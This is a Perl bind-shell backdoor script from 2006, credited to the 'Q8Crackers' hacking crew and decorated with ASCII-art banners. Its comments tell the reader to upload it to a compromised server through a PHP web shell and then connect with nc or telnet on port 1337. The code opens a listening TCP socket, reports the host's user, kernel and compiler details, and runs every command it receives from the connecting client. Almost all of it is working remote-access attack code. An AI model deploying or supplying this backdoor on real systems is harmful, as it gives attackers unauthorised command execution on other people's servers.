Arab4Services priv8 bindjailshell (pl) ver2.0.1

#!/usr/bin/perl 
#/\/\/\/\/\/\/\/\/\/\/\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/# 
# Upload A4S_bind_jailshell.pl to the ****** Server then give ; 
# PHPshell perl A4S_bind_jailshell.pl 1337    <==== PHPshell.php ====<< 
# Next ; ^_* 
# 
#            /\_/\ 
#           / 0 0 \             | 
#          ====v====            | 
#           \  W  /             | 
#           |     |     _(||||)-| 
#           / ___ \    / (||||)-| 
#          / /   \ \  | 
#      ---(((-----)))-' 
#     / 
#    (      ___ 
#     \__.=|___E C:\netcat>nc priv8server.net 1337 
#             / 
# or   ; 
# C:\********s and Settings\uberhacker>telnet priv8server.net 1337 
# or   ; 
# bash-2.05b$ nc priv8server.net 1337    <==== If you wanna connect to another shell ===<< 
#===[+]==== You g0t jailshell-A4S-3.44a ~$ ^_^ ====[+]====# 
# jailshell-A4S-3.44a ~: id  
# uid=500(Q8Crackers) gid=500(Q8Crackers) groups=500(Q8Crackers)  
# con****=user_u:system_r:unc# onfined_t 
# jailshell-A4S-3.44a ~: uname -a 
# Linux priv8server.net 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux 
# jailshell-A4S-3.44a ~: pwd 
# /home/Q8Crackers/Priv8 
# jailshell-A4S-3.44a ~: which gcc 
# /usr/bin/gcc 
# jailshell-A4S-3.44a ~:
#\/\/\/\/\/\/\/\/\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/# 
use IO::Socket; 
`'[3;36m'`; 
sleep (2); 
print q { 
                            ______ 
                         .-"      "-. 
                        / Q8Crackers \ 
                       |     Crew     | 
                       |,  .-.  .-.  ,| 
                       | )(_o/  \o_)( | 
                       |/     /      \| 
            (@_        (_     ^^     _) 
       _     )_\________\__|IIIIII|__/_____________________________
      (_)@8@8{}<__________|-IIIIII-|________________________________> 
             )_/          \        / 
            (@             `------` 
}; 
if(!@ARGV) 
{ 
print q { 
                           \#'#/ 
                           (*.*) 
|---------------------oOO---(_)---OOo---------------------|           
o-------|-------------=[ c0ded by X_Dr.the bright boy_X ]=--------|--------o 
oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo 
o--------------------------------------------------------------------------o 
| 5cr1|^7 ..: Arab4Services priv8 bindjailshell                            | 
| Version ..: 2.1.0                                                        | 
| c0ded in .: Perl                                                         | 
| OffSite ..: http://www.q8crackers.com                                    | 
| TeaM Crew : Q8Crackers TeaM Crew | Dm3r7 Team | alm3refh T   | A4S TeaM  | 
o--------------------------------------------------------------------------o 
| 9r3375 ...: SPY,b0hAjEr,Mr.tyrant,Super-Crystal,Saif ben Yazen,ShOoTer   | 
|        ...: Saudi Hunter,Tiger Hacker,Hacker arab,AymanJaber,A4S TeaM    | 
|           : Silent Needle,KILLERxXx,]|DeseeL,R-H TeaM Crew,Cyber-Warrior | 
| Date .....: 2006-06-13 ULTRA SPECIAL TO Super-CrystaL  A4S               | 
o--------------------------------------------------------------------------o 
oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo 
o---------------=[ usage: perl  A4S_jailshell.pl <port> ]=-----------------o     

};                 
}  
else  
{ 
$id =`id`; 
$sysinfo =`uname -a`; 
$path = `pwd`; 
$gcc  = `which gcc`; 
$socket= new  IO::Socket::INET ( 
LocalHost=>'localhost', 
LocalPort=>$ARGV[0], 
Proto=>'tcp', 
Listen=>1, 
Reuse=>1 
)  
or die("Oops err0r : $!\n"); 
my $sock=$socket->accept(); 
while($sock) 
{ 
print($sock "jailshell-A4S-3.44a ~\: id \n".$id); 
sleep (2); 
print($sock "jailshell-A4S-3.44a ~\: uname -a\n".$sysinfo); 
sleep (3); 
print($sock "jailshell-A4S-3.44a ~\: pwd \n".$path); 
sleep (3); 
print($sock "jailshell-A4S-3.44a ~\: which gcc \n".$gcc); 
sleep (3); 
print($sock "jailshell-A4S-3.44a ~\: "); 
while($data=<$sock>) 
{ 
$ret=`$data`; 
print($sock $ret); 
print($sock "jailshell-A4S-3.44a ~\: "); 
} 
} 
}